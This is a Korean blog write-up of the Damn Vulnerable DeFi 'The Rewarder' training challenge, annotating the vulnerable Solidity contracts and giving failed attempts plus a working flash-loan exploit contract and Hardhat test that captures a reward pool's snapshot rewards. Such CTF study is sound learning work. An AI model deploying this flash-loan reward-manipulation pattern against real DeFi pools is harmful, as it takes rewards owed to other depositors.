[Damn Vulnerable DeFi] The rewarder

0xDave·2022년 10월 26일
0

Ethereum

목록 보기
53/112

Challenge #5


There's a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.

Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!

You don't have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.

Oh, by the way, rumours say a new pool has just landed on mainnet. Isn't it offering DVT tokens in flash loans?

새로 런칭한 플래시 론을 이용해서 reward를 클레임하자.

1. AccountingToken.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Snapshot.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
 * @title AccountingToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @notice A limited pseudo-ERC20 token to keep track of deposits and withdrawals
 *         with snapshotting capabilities
 */
contract AccountingToken is ERC20Snapshot, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }

    function burn(address from, uint256 amount) external {
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }

    function snapshot() external returns (uint256) {
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // Do not need transfer of this token
    function _transfer(address, address, uint256) internal pure override {
        revert("Not implemented");
    }

    // Do not need allowance of this token
    function _approve(address, address, uint256) internal pure override {
        revert("Not implemented");
    }
}

아래와 같은 형태로 특정 롤을 만들 수 있다.

bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

_setupRole을 이용해 롤을 할당할 수 있고

_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);

`hasRole`을 통해 해당 롤을 갖고 있는지 확인할 수 있다.
require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");

DEFAULT_ADMIN_ROLE은 다른 롤을 부여하거나 제거할 수 있는 권한이 있다. 해당 롤은 _setRoleAdmin을 통해 부여할 수 있다고 한다.


마지막 코드로 transfer와 approve를 막아놓은 듯 하다.


2. FlashLoanerPool.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../DamnValuableToken.sol";

/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 * @dev A simple pool to get flash loans of DVT
 */
contract FlashLoanerPool is ReentrancyGuard {

    using Address for address;

    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }

    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        liquidityToken.transfer(msg.sender, amount);

        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

그 동안 많이 봐왔던 flashLoan 함수다. 이전과 조금 다른 점은 msg.sender에 있는 receiveFlashLoan(uint256) 함수를 호출한다. 해당 지점을 이용해서 공격하면 될 것 같다. require문을 통해 토큰 밸런스를 다시 확인하니 재전송해야 하는 것 기억하자.


3. RewardToken.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

/**
 * @title RewardToken
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 * @dev A mintable ERC20 with 2 decimals to issue rewards
 */
contract RewardToken is ERC20, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

리워드 토큰을 민팅할 수 있는 컨트랙트. 딱히 특별한 점은 없는 것 같다.


TheRewarderPool.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "./RewardToken.sol";
import "../DamnValuableToken.sol";
import "./AccountingToken.sol";

/**
 * @title TheRewarderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 */
contract TheRewarderPool {

    // Minimum duration of each round of rewards in seconds
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;

    uint256 public lastSnapshotIdForRewards;
    uint256 public lastRecordedSnapshotTimestamp;

    mapping(address => uint256) public lastRewardTimestamps;

    // Token deposited into the pool by users
    DamnValuableToken public immutable liquidityToken;

    // Token used for internal accounting and snapshots
    // Pegged 1:1 with the liquidity token
    AccountingToken public accToken;
    
    // Token in which rewards are issued
    RewardToken public immutable rewardToken;

    // Track number of rounds
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // Assuming all three tokens have 18 decimals
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();
		
      	//현재 기준으로 스냅샷 한 번 찍는 것 같다. 
        //roundNumber가 0이 기본값이라 그런 걸 수도 있음.
        _recordSnapshot();
    }

    /**
     * @notice sender must have approved `amountToDeposit` liquidity tokens in advance
     */
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        //입금량만큼 accToken 민팅
        accToken.mint(msg.sender, amountToDeposit);
        //민팅하자마자 이건 왜 실행하지?
        distributeRewards();

      	//msg.sender에서 컨트랙트로 $DVT 전송
        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }

  	//민팅한 만큼 소각시키고 msg.sender에게 $DVT 전송
    //그런데 실제로 입금을 얼마나 했는지 체크하는 부분이 없다?
    function withdraw(uint256 amountToWithdraw) external {
        accToken.burn(msg.sender, amountToWithdraw);
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }

    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;

        if(isNewRewardsRound()) {
            _recordSnapshot();
        }        
        
        //어카운트 토큰이 발행된 양을 통해 총 입금량을 알 수 있다.(deposit 할 때마다 민팅되므로)
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        //마지막 스냅샷 시점에 msg.sender가 가지고 있는 accToken의 개수 = 입금량을 의미
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

      	//리워드 양 계산하고 이미 리워드 받았는지 확인해서 토큰 민팅. 이후 리워드 스냅샷.
        if (amountDeposited > 0 && totalDeposits > 0) {
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                rewardToken.mint(msg.sender, rewards);
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }

  	//스냅샷 찍은 후 다음 라운드 진행
    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }

    //리워드 받았는지 확인
    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
          	//리워드 스냅샷을 찍기 전에 시간 기준으로 스냅샷 찍었는지 확인 
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            //리워드 스냅샷 찍은 시점이 아직 다음 라운드 진행 전인지 확인
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }
	
  	//마지막 스냅샷 이후 5일 지났는지 확인
    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

accToken -> 소각과 스냅샷 기능이 있는 어카운트 토큰
liquidityToken -> 사용자들이 예치한 $DVT
rewardToken -> 5일 마다 보상으로 받는 리워드 토큰


해결과정


스냅샷을 5일마다 자동으로 찍는 건 아닌 것 같다. 그리고 withdraw 할 때 단순히 accountToken을 소각하고 인자로 넘긴 수량만큼 msg.sender에게 $DVT를 전송하고 있다.

test 코드에서 처음 봤던 것

this.rewardToken = await RewardTokenFactory.attach(await this.rewarderPool.rewardToken());
  1. attach -> constructor와 비슷한 용도로 사용한다.(내가 잘못 이해한 것일 수 있다.) 보통 address 값을 인자로 받는다. 여기서는 이미 배포한 rewarderPool에 있는 rewardToken 변수를 가져와서 인자로 넣어준다. 이렇게 하면 민팅한 rewardToken과 상호작용 할 수 있다.

await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
  1. 시간을 강제로 지난 상태에서 테스트 할 수 있도록 해준다. 대표적인 예로 evm_increaseTimeevm_increaseTime이 있다. 예시는 다음과 같다. 시간은 모두 초로 계산한다.

evm_increaseTime

// suppose the current block has a timestamp of 01:00 PM
await network.provider.send("evm_increaseTime", [3600])
await network.provider.send("evm_mine") // this one will have 02:00 PM as its timestamp

evm_increaseTime

await network.provider.send("evm_setNextBlockTimestamp", [1625097600])
await network.provider.send("evm_mine") // this one will have 2021-07-01 12:00 AM as its timestamp, no matter what the previous block has

이후 테스트 코드를 살펴보면 스냅샷이 한 번 더 진행되고, 리워드 토큰은 총 100개가 발행된 상태여야 하며, 참여자들이 가져간 리워드 토큰은 0에 가깝고 attacker가 가져간 리워드 토큰은 100에 가깝게 설정되어 있는 것을 보니 참여자들의 리워드 토큰을 가져가는 방향으로도 생각해 볼 수 있을 것 같다.

정리해보자면
1. distributeRewards()를 통해 스냅샷을 한 번 더 찍고
2. 현재 attacker는 $DVT 토큰이 없으니 flashLoan을 이용해야 하며
3. 참가자들의 리워드 토큰을 attacker에게 가져올 수 있는 방법을 고민해야 한다.

uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);

    if (amountDeposited > 0 && totalDeposits > 0) {
        rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;

        if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
            rewardToken.mint(msg.sender, rewards);
            lastRewardTimestamps[msg.sender] = block.timestamp;
        }
    }

리워드 분배의 기준은 accToken의 총 발행량 대비 msg.sender가 가지고 있는 accToken의 갯수다. 따라서 attacker가 accToken을 가지고 있어야 한다. 현재 생각나는 방법은 크게 두 가지다.

  1. user가 입금한 토큰을 attacker가 withdraw()를 해서 가져온다.
  2. 또는 flashLoan 을 통해 빌려온다.(현재 flashLoan 풀에는 100만개의 $DVT가 있다.)

성공 가능성이 높은 시나리오는 다음과 같다.

  1. flashLoan 을 통해 100만개의 $DVT를 빌려온다.
  2. 빌려온 $DVT를 deposit해서 accToken을 민팅한다.
  3. distributeRewards()로 리워드를 클레임하고
  4. withdraw()receiveFlashLoan()을 이용해 flashLoan에서 빌린 $DVT를 다시 갚는다.
  5. user들이 넣은 100개는 attacker가 넣은 100만개 보다 훨씬 적은 갯수기 때문에 받을 수 있는 리워드 토큰의 갯수 또한 attacker보다 훨씬 적을 것이다.

첫 번째 시도

rewardAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../DamnValuableToken.sol";
import "./RewardToken.sol";

interface Iflash {
    function flashLoan(uint256 amount) external;
}

interface IRewardPool {
    function deposit(uint256 amountToDeposit) external;
    function withdraw(uint256 amountToWithdraw) external;
    function distributeRewards() external;
}


/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 * @dev A simple pool to get flash loans of DVT
 */
contract rewardAttack {

    // address immutable liquidityToken;
    DamnValuableToken public immutable liquidityToken;
    RewardToken public immutable rewardToken;
    IRewardPool immutable rewardPool;
    Iflash immutable flashLoanContract;

    constructor(address liquidityTokenAddress, address _rewardTokenAddress,address _rewardPool, address _flashLoanAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
        rewardToken = RewardToken(_rewardTokenAddress);
        rewardPool = IRewardPool(_rewardPool);
        flashLoanContract = Iflash(_flashLoanAddress);
    }

    function attack() external {
        flashLoanContract.flashLoan(address(flashLoanContract).balance);
        rewardPool.deposit(address(this).balance);
        rewardPool.distributeRewards();
        this.receiveFlashLoan(liquidityToken.balanceOf(address(this)));
        rewardToken.transfer(msg.sender, (address(this).balance));
    }

    function receiveFlashLoan(uint256 amount) public {
        liquidityToken.transfer(address(flashLoanContract), amount);
    }
}

제대로 작성했는지는 잘 모르겠지만 일단 공격 컨트랙트를 만들어봤다. 이제 테스트 코드를 작성해보자.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    const AttackFactory = await ethers.getContractFactory(
      "rewardAttack",
      deployer
    );

    this.attack = await AttackFactory.deploy(
      this.liquidityToken.address,
      this.rewardToken.address,
      this.rewarderPool.address,
      this.flashLoanPool.address
    );
    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
    await this.attack.connect(attacker).attack();
  });

attack 컨트랙트를 가져와서 배포했다. 시간을 5일 뒤로 설정하고 attack() 함수를 호출했다.

deposit 자체가 안 됐다. flashLoan 실행 직후 공격 컨트랙트의 balance에 반영이 안 되는 것 같다.


두 번째 시도

컨트랙트와 테스트 코드를 다음과 같이 변경했다. 함수에 넘겨주는 amount를 테스트 코드에서 넘겨주는 방식으로 짰다.

    function attack(uint256 amount) external {
        flashLoanContract.flashLoan(amount);
        rewardPool.deposit(amount);
        rewardPool.distributeRewards();
        this.receiveFlashLoan(liquidityToken.balanceOf(address(this)));
        rewardToken.transfer(msg.sender, (address(this).balance));
    }

    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
    await this.attack
      .connect(attacker)
      .attack(this.liquidityToken.balanceOf(this.flashLoanPool.address));

balance를 초과해서 실패. 혹시 approve를 안 해서 그런걸까?

세 번째 시도

    function attack(uint256 amount) external {
        flashLoanContract.flashLoan(amount);
        liquidityToken.approve(address(this), type(uint256).max);
        rewardPool.deposit(amount);
        rewardPool.distributeRewards();
        this.receiveFlashLoan(liquidityToken.balanceOf(address(this)));
        rewardToken.transfer(msg.sender, (address(this).balance));
    }

요런 식으로 중간에 approve를 추가했지만 결과는 똑같았다.

모범답안

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface Iflash {
    function flashLoan(uint256 amount) external;
}

interface IRewardPool {
    function deposit(uint256 amountToDeposit) external;
    function withdraw(uint256 amountToWithdraw) external;
    function distributeRewards() external returns (uint256); //returns 추가
}


/**
 * @title FlashLoanerPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)

 * @dev A simple pool to get flash loans of DVT
 */
contract RewarderAttacker {

    address payable immutable attacker; //attacker 추가
    IERC20 private immutable liquidityToken; //IERC20 + private
    IERC20 private immutable rewardToken; //IERC20 + private
    IRewardPool private immutable rewardPool; //private
    Iflash private immutable flashLoanContract; //private

    constructor(
        address liquidityTokenAddress, 
        address _rewardTokenAddress,
        address _rewardPool, 
        address _flashLoanAddress
    ) {
        attacker = payable(msg.sender);
        liquidityToken = IERC20(liquidityTokenAddress);
        rewardToken = IERC20(_rewardTokenAddress);
        rewardPool = IRewardPool(_rewardPool);
        flashLoanContract = Iflash(_flashLoanAddress);
    }


    function attack() external {
        uint balance = liquidityToken.balanceOf(address(flashLoanContract));
        flashLoanContract.flashLoan(balance);
    }

    function receiveFlashLoan(uint256 amount) public {
        liquidityToken.approve(address(rewardPool), amount);
        rewardPool.deposit(amount);
        rewardPool.distributeRewards();
        rewardPool.withdraw(amount);
        liquidityToken.transfer(address(flashLoanContract), amount);
        uint tokens = rewardToken.balanceOf(address(this));
        rewardToken.transfer(address(attacker), tokens);
    }
}

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days

    const AttackFactory = await ethers.getContractFactory(
      "RewarderAttacker",
      attacker
    );

    this.attack = await AttackFactory.deploy(
      this.liquidityToken.address,
      this.rewardToken.address,
      this.rewarderPool.address,
      this.flashLoanPool.address
    );
    await this.attack.attack();
});

언뜻 보면 비슷하지만 여러 차이점이 있었다.

  1. 토큰 컨트랙트를 import 하지 않고 IERC20만 가져왔다. 토큰 컨트랙트 그 자체를 가져오지 않고 인터페이스만으로도 토큰이 사용가능한 함수들을 정의함으로써 그 틀을 유지할 수 있다. 이 정도가 내가 현재 와닿는 정도다. 인터페이스를 사용함으로 얻을 수 있는 장점에 대해서 더 깊은 부분까지는 아직 이해하지 못했지만 적어도 훨씬 깔끔하게 코드를 짤 수 있다는 것은 알 수 있다.

  2. 나는 attack() 함수 안에서 모든 것을 해결하려고 했다. 하지만 flashLoan()을 보면 토큰을 빌려준 직후 receiveFlashLoan(uint256) 함수를 호출한다. 따라서 내가 이전에 짰던 코드는 이미 대출받은 $DVT 토큰을 다시 갚고 나서 계속 deposit 하려고 했기 때문에 없는 토큰을 계속 넣으려고 하다보니 에러가 났던 거다. 따라서 flashLoan()의 흐름을 정확하게 파악하지 못 했던 것이 가장 큰 잘못이다.

  3. 내가 짰던 코드에서는 amount 부분을 각자 함수에 따로 따로 인자로 넘겨줬었다. 하지만 receiveFlashLoan(uint256) 함수에서 받는 인자는 flashLoan(uint 256 amount) 에서부터 시작되서 넘어간다. 이번에도 전체적인 함수의 흐름부터 정확하게 파악 되지 않았기 때문에 결국 잘못된 판단을 내린 것이라 생각한다.


전체적은 공격 방법은 맞췄지만 함수 흐름 파악면에서 많이 아쉬움이 남는 문제였다. 다음엔 더 잘하자..!

출처 및 참고자료


  1. Time-dependent tests with Hardhat?
profile
Just BUIDL :)

0개의 댓글